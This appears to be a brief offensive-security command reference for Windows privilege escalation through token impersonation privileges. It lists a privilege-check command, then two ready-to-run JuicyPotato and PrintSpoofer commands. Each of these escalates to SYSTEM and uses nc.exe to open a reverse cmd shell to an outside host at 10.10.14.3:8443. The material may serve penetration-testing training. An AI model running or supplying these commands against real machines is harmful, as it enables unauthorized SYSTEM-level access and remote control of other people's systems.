Enumerate and exploit Windows token impersonation privileges (SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege) for privilege escalation. Demonstrates how attackers can leverage these privileges using tools like JuicyPotato and PrintSpoofer to escalate from service accounts to SYSTEM, highlighting the risk of misconfigured token privileges in post-exploitation scenarios.
Command Reference:
Target: Local Windows machine with token impersonation privileges
whoami /priv | findstr /i "SeImpersonate SeAssignPrimaryToken"
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"